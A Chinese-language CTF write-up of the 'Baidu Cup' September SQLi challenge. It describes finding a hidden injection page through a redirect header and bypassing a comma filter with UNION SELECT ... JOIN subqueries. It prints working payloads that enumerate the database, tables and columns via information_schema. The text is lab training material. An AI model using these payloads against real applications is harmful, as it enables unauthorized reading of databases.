1. 程式人生 > >“百度杯”CTF比賽 九月場SQLi ---------mozhe

“百度杯”CTF比賽 九月場SQLi ---------mozhe

題目連結:https://www.ichunqiu.com/battalion

點選進去,檢視原始碼

 發現login.php?id=1

一般是存在sql注入的,可是我測試了好幾遍,sqlmap也跑過了,也沒發現啥

沒辦法,查看了官方wp,說是存在index.php,並在其header頭有真正的注入點

在index.php請求進行301重定向,明顯發現上面的連結只差一個字母,我的是直接看到注入點l0gin.php?id=1。不能直接看到的要在header請求b68a89d1c4a097a9d863lb3ac45e8979.php

來到正確的注入頁面

發現一個部分的表圖 ,從表的結構可以知道欄位為2

單引號檢測,直接查詢報錯

那就 ' order by 1,2#

直接過濾了逗號後面的語句,並且id回顯的是過濾後的語句

百度一波,逗號繞過注入

join 繞過

構造語句:1'  union select * from (select 1) a join (select 2 ) b %23

發現回顯正常,照上面分析,id會回顯過濾後的sql語句(1'  union select * from (select 1) a join (select 2 ) b %23)才對

這裡沒有回顯,說明注入語句執行成功,因為是聯合查詢,union 前後的兩個注入語句都是執行成功的。而這裡第一個執行的結果輸出了,以致第二個sql查詢結果無法顯示出來。

那我們可以讓第一個結果執行為空,第二個就可以顯示出來了

id=3的時候,username是空的

直接構造語句:3'  union select * from (select 1) a join (select 2 ) b %23

正常回顯查詢的欄位

現在查詢資料庫

3'  union select * from (select 1) a join (select database() ) b %23

 

查詢表

3'  union select * from (select 1) a join (select table_name from information_schema.tables where table_schema='sqli' ) b %23

得到user表(不貼圖)

查詢列

3'  union select * from (select 1) a join (select group_concat(distinct(column_name)) from information_schema.columns where table_schema='sqli' and table_name='users'  ) b #

(這裡連線字元函式換成limit也可以,不過照樣的繞過逗號)

查詢欄位

get flag